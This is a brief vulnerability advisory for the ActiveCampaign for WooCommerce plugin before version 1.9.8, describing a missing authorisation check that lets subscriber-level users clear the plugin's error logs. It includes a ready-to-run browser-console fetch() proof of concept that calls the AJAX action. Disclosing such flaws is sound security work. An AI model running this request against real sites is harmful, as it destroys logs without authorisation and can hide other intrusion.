ActiveCampaign for WooCommerce < 1.9.8 - Subscriber+ Error Log Cleanup

The plugin does not have authorisation check when cleaning up its error logs via an AJAX action, which could allow any authenticated users, such as subscriber to call it and remove error logs.

PoC

Run the below command in the developer console of the web browser while being on the blog as a subscriber user: fetch(‘/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=activecampaign_for_woocommerce_clear_error_log’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));